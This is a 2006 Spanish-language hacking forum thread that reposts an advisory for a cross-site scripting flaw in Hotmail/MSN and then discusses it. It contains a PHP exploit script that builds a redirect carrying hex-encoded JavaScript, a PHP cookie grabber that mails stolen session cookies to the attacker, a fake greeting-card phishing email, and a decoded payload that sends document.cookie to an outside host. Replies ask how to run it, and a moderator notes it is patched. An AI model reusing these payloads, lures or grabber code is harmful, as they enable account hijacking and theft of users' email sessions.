elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 18:52  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Microsoft Service Network / Hotmail -> XSS
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Microsoft Service Network / Hotmail -> XSS  (Leído 2,830 veces)
-sagitari-


Desconectado Desconectado

Mensajes: 1.640


:D


Ver Perfil WWW
Microsoft Service Network / Hotmail -> XSS
« en: 25 Febrero 2006, 21:13 »

Citar
/* Hotmail/MSN Cross Site Scripting Exploit


Author: Simo Ben youssef aka _6mO_HaCk
Contact: Simo_at_morx_dot_org
Discovered: September 15 2005
Published: February 20 2006
Vendor: MSN.com
Service: Hotmail.com Webmail Service
Vulnerability: Cross Site Scripting (Cookie-Theft)
Severity: Medium/High
Tested on: IE 6.0 (designed for) firefox 1.5 and Opera (should work on all
browsers)
Original Advisory/Xploit: http://www.morx.org/HotmailCookieXploit.txt
Morx Security Research Team
http://www.morx.org


Description:


Exploit written in PHP to exploit the $a variable cross site scripting
vulnerability inside Hotmail/MSN inbox. Exploit requires the victim to
open the email sent by the attacker and click on a URL, therefore some
Social Engineering skills are required too


Notice: if you dont know what's cross site scripting or/and how its being
exploited then just stop reading by here as you will have to modify some
things on the exploit to make it work for you, but if you insist then good
luck.


Exploitation:


Exploiting this flaw seemed to be almost impossible on Internet Explorer
Browsers, because the vulnerable variable resides inside the hotmail inbox
and its value has to be correct and we cant avoid it, replace it or guess
it in anyway, at this point it was ok while it was possible to get the
victim click on the url and grab the entire HTTP referrer add our
malicious code at the end of the variable value and redirect the victim
back to the HTTP referrer with one single script, this worked just fine on
firefox while it didnt work on IE beacause hotmail filters <a href=""> and
replace it with javascript:ol(); so the link opens a new internet explorer
window, and of course when IE opens another window it doesnt send the HTTP
referrer where from the link was opened previously, so one way to exploit
this was to insert an <img src=""> and make it point to a php script
in order to grab the HTTP referrer of the victim, reconstruct it, add
javascript code at the end of the $a variable value and then open another
php script in the same server and write on it some php code to make an
automatic redirection to the re constructed HTTP referrer when the victim
clicks on the second link, and therefore get the malicious code executed
which will grab the user authentification cookie and send it to the
attacker script giving the attacker full access to the victim inbox for 24
hours, which's the default time set in hotmail for cookie expiration :)


Exploiting this vulnerability can be done by uploading the following
script to a php enabled webserver then send an email to the victim with
<img src="http://www.attacker-server.com/a.php"> where a.php is the php
exploit file name and <a
href="http://http://www.attacker-server.com/ecard.php"> is the link of the
second script (the one that get created by a.php) as i said some Social
Engineering skills are required, so as an example the email can be sent as
a greeting card with the following HTML code, you may also need to modify
some things on the php exploit to make it fit your needs.
Hello, </p>
Jennifer has just sent you a greeting card. </p>
To view your greeting card, click on the link below: </p>
<a href="http://attacker-site/ecard.php"> http://
lycos.americangreetings.com/view.pd?i=197489639&amp;m=8381&amp;rr=y&amp;source=lycos
</a> </p>
Or copy and paste the above link into your web browser's address window</p>
Or enter this eCard number 9584B7E784 on our eCard Pick Up page at
www.americangreetings.com</p>
Thanks for using Lycos Greetings with AmericanGreetings.com
<img src="http://attacker-site/a.php"></img>


as a cookie grabber you may use the following code:


$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$msg = "Cookie: $cookie\nIP Address: $ip";
$subject = "cookie";
mail("youremail.org", $subject, $msg);


header ("location:
http://www.americangreetings.com/view.pd?i=405014155&m=6355&source=ag999");


at the end i would like to say a big thanks to mat
(mattzew5_at_hotmail_dot_com) for helping me research and test this
exploit, it took several days of research to exploit this flaw, so once
again thanks mat


greets to all MorX members and especially to BlooDMASK even though he
refused to let me test this on his hotmail account, certainly thats
because he has some nice xxx passwords on it :) also greets to barbenoir
(boule7ia), th3-brain, Dragos and everybody else.


Why am i publishing this late ?


because i found better flaws in hotmail which i wont be releasing anytime
soon :)


Workaround:


avoid clicking on links while being autentified.


Disclaimer:


this entire document is for eductional, testing and demonstrating purpose
only. Modification use and/or publishing this information is entirely on
your OWN risk. The information provided in this advisory is to be
used/tested on your OWN machine/Account. I cannot be held responsible for
any of the above.

Código:
<?php

/* file name of the script that's the victim will visit
make sure your webserver has writting permissions
otherwise create ecard.php manualy and chmod it to 777 or whatever */


$file = "ecard.php";


// get the http referrer that we get with <img


$HTTP_REFERER = getenv("HTTP_REFERER");


$host = $HTTP_REFERER;


// reconstruct the http referrer


// get the &curmbox string position


$first = strpos($host, '&curmbox');


// get the first url part based on $curmbox position


$firstpart = substr($host, 0, $first);


// get the second url part


$secondpart = substr($host, $first);


/* split the second part and list the first
 two variables since hotmail dublicate those sometimes */


list($a, $b, $c) = split('[&]', $secondpart);


// put all the above together


$target = "$firstpart&$a$b&$c";


$fo = fopen($file, 'w+');


// change this to your cookie grabber address, dont include "http://" as
its already included in hex
// the variable name for the cookie grabber should be included too


$d = 'www.attacker-site.com/cookie-grabber.php?cookie';


// first javascript hex code


$e =
'%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F';


// second javascript hex code


$f =
'%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%2E%73%75%62%73%74%72%28%30%2C%31%39%30%30%29%3C%2F%73%63%72%69%70%74%3E';


// convert the cookie grabber url to hex code and add "%" at the first of
each hex caracter


$converted = bin2hex($d);


$converted = chunk_split($converted, 2, '%');


$converted = '%' . substr($converted, 0, strlen($converted) - 1);


$data = '<?php header ("Location: ' . $target . '' . $e . '' . $converted
. '' . $f .'"); ?'.'>';


/* write the data that would redirect the victim to the reconstructed http
referrer and exploit the vulnerable variable and make the cookie
redirection */


fwrite($fo, $data);


fclose($fo);

?>





En esta web:  ;D
http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0628.html

/**Editado por SirDarckCat**/
--Atencion--
Les recomiendo que no usen este exploit, ya que es vulnerable a Remote Comand Execution
ironico no? el exploit es vulnerable xD
« Última modificación: 25 Febrero 2006, 23:36 por SirDarckCat » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Hotmail/MsN XSS
« Respuesta #1 en: 25 Febrero 2006, 22:58 »

Bueno, este exploit, obtiene el referrer cuando ves una imagen..
Por ejemplo: http://by24fd.bay24.hotmail.msn.com/cgi-bin/getmsg?msg=MSG1140900780&curmbox=F000000001&a=808ff07d96ad5712ae7992f5af7fe9fd418fec46f503dae4d2372b1ccadbbf5f

una vez que obtiene esta, agrega al final de la url, (urlencoded) esto:
Código:
"><script>document.location="http://www.tupag.com/cookie.php?cookie="+escape(document.cookie).substr(0,1900);</script>

Código:
%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%74%75%70%61%67%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%2E%73%75%62%73%74%72%28%30%2C%31%39%30%30%29%3B%3C%2F%73%63%72%69%70%74%3E

que manda el valor de la cookie a tu pagina.

esta es la lista de los numeros de linea donde se usa el valor de la variable $_GET['a']:
Código:
getmsg[1] (7):_UM="curmbox=F000000001&a=808ff07d96ad5712ae7992f5af7fe9fd418fec46f503dae4d2372b1ccadbbf5f"
getmsg[1] (17):u += "&a=808ff07d96ad5712ae7992f5af7fe9fd418fec46f503dae4d2372b1ccadbbf5f";
getmsg[1] (35):[CODIGO MUY LARGO]
getmsg[1] (41):[CODIGO MUY LARGO]
getmsg[1] (50):function MP(l){G(l+"&ln=welcomeESMX&msg=MSG1140900780&src=bay0%2dk%2ebay0%2ehotmail%2ecom%3a%2fhome%2fd1%2fsurveys%2fwelcomeESMX%2e050317%3a0&curmbox=F000000001&a=808ff07d96ad5712ae7992f5af7fe9fd418fec46f503dae4d2372b1ccadbbf5f")}
getmsg[1] (54):frm.action="/cgi-bin/kill?a=808ff07d96ad5712ae7992f5af7fe9fd418fec46f503dae4d2372b1ccadbbf5f&"
getmsg[1] (223):[CODIGO MUY LARGO]

y nosotros podemos inyectar código en la mayoria de estas lineas (es XSS no RCE).

La magia de este bug, esta en que:

1.- Hotmail, nisiquiera verifica como usas la variable a..
2.- Hotmail, NO filtra imagenes (GMail si, te pregunta antes :))

Una posible solución para Hotmail, es que implemente algun tipo de verificación de usuario antes de usar una imagen.. advirtiendo del riesgo de usarlo antes de mostrarlas, y que limpie las variables antes de usarlas.

Una posible solución para todos los usuarios de Hotmail:
Cambiense a GMail ;)

Fuente original del exploit:
http://www.morx.org/HotmailCookieXploit.txt

Mas información en:
http://www.cgisecurity.com/articles/xss-faq.shtml
http://es.wikipedia.org/wiki/XSS
http://foro.elhacker.net/index.php/topic,32042.0.html
http://foro.elhacker.net/index.php/topic,98324.0.html

Les anexo un programa en HTML que codifica a Entity, URL y UTF-8 cualquier string.

Saludos!!
En línea

ZyrroX

Desconectado Desconectado

Mensajes: 38


Ver Perfil
Re: Microsoft Service Network / Hotmail -> XSS
« Respuesta #2 en: 25 Febrero 2006, 23:57 »

Gracias por la informacion Sirdarckat pero un ejemplo un poko mas practiko esq se me escapan muchas cosas... lei tu post un par de veces y lei algo del cookie grabber, q al aprecer el cookie grabber se usa bastantes veces para explotar fallos XSS y robar la cookie.... soy muy nuevo en esto pero no se por donde coger esto.... no entiendo nada...

Con un ejemplo practiko lo entenderia un poko mejor. O eso pienso  :huh:
En línea
oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re: Microsoft Service Network / Hotmail -> XSS
« Respuesta #3 en: 26 Febrero 2006, 03:05 »

Bueno todos sabemos que el hotmail es vulnerable de una u otra manera al ataque xss  :P, por cierto ayer mismo prové una forma rara , que me loguie con mi usuario sali del mismo luego me fui a google y navegue,navegue, hasta que me acorde que queria ver un email y sin hacer nada ( :P) me vi en mi bandeja de entrada,saludos
pd
Citar
Una posible solución para todos los usuarios de Hotmail:
Cambiense a GMail
es broma bro... es una puerta abierta (Gmail) :-X
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Microsoft Service Network / Hotmail -> XSS
« Respuesta #4 en: 26 Febrero 2006, 05:23 »

@ZyrroX: abre hotmail, lee un mensjae cualquiera, agrega al final de la URL esto: "><script>alert();</script>, deberia salir un alert.

@oRNTZ: estas perdido xD

Saludos!!
En línea

blackmarux

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Re: Microsoft Service Network / Hotmail -> XSS
« Respuesta #5 en: 26 Febrero 2006, 19:31 »

cual de los codigos va en a.php y cual va en ecard.php
En línea

-----black marux------ grrrr
oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re: Microsoft Service Network / Hotmail -> XSS
« Respuesta #6 en: 27 Febrero 2006, 16:48 »

Citar
SirDarckCat
Xd, seguro bro... hay otra forma de xss en el hotmail,solo lo menciono  :P
en este Advisory, creo que ya le dio al blanco  :-*

Citar
Why am i publishing this late ?


because i found better flaws in hotmail which i wont be releasing anytime
soon
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
sSchneider

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Microsoft Service Network / Hotmail -> XSS
« Respuesta #7 en: 1 Abril 2006, 08:58 »

puede alguein explikar el metodo denuevo .... y en español buen ya lo eh traducido y eh provado varias veces y aun asi no me sale creoq ue estoy hacineod algo mal me gsutaria que lo vuelvan a explikar en español :P ....... bueno gracias¡¡¡
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Microsoft Service Network / Hotmail -> XSS
« Respuesta #8 en: 2 Abril 2006, 03:30 »

Esta parcheado desde el 1 de Marzo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Microsoft soluciona el problema de Hotmail
Noticias
wolfbcn 3 862 Último mensaje 4 Enero 2011, 17:49
por [ Alberto]
Network Monitor - Sniffer desarrollado por Microsoft
Redes
madpitbull_99 4 1,299 Último mensaje 1 Septiembre 2011, 23:24
por madpitbull_99
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines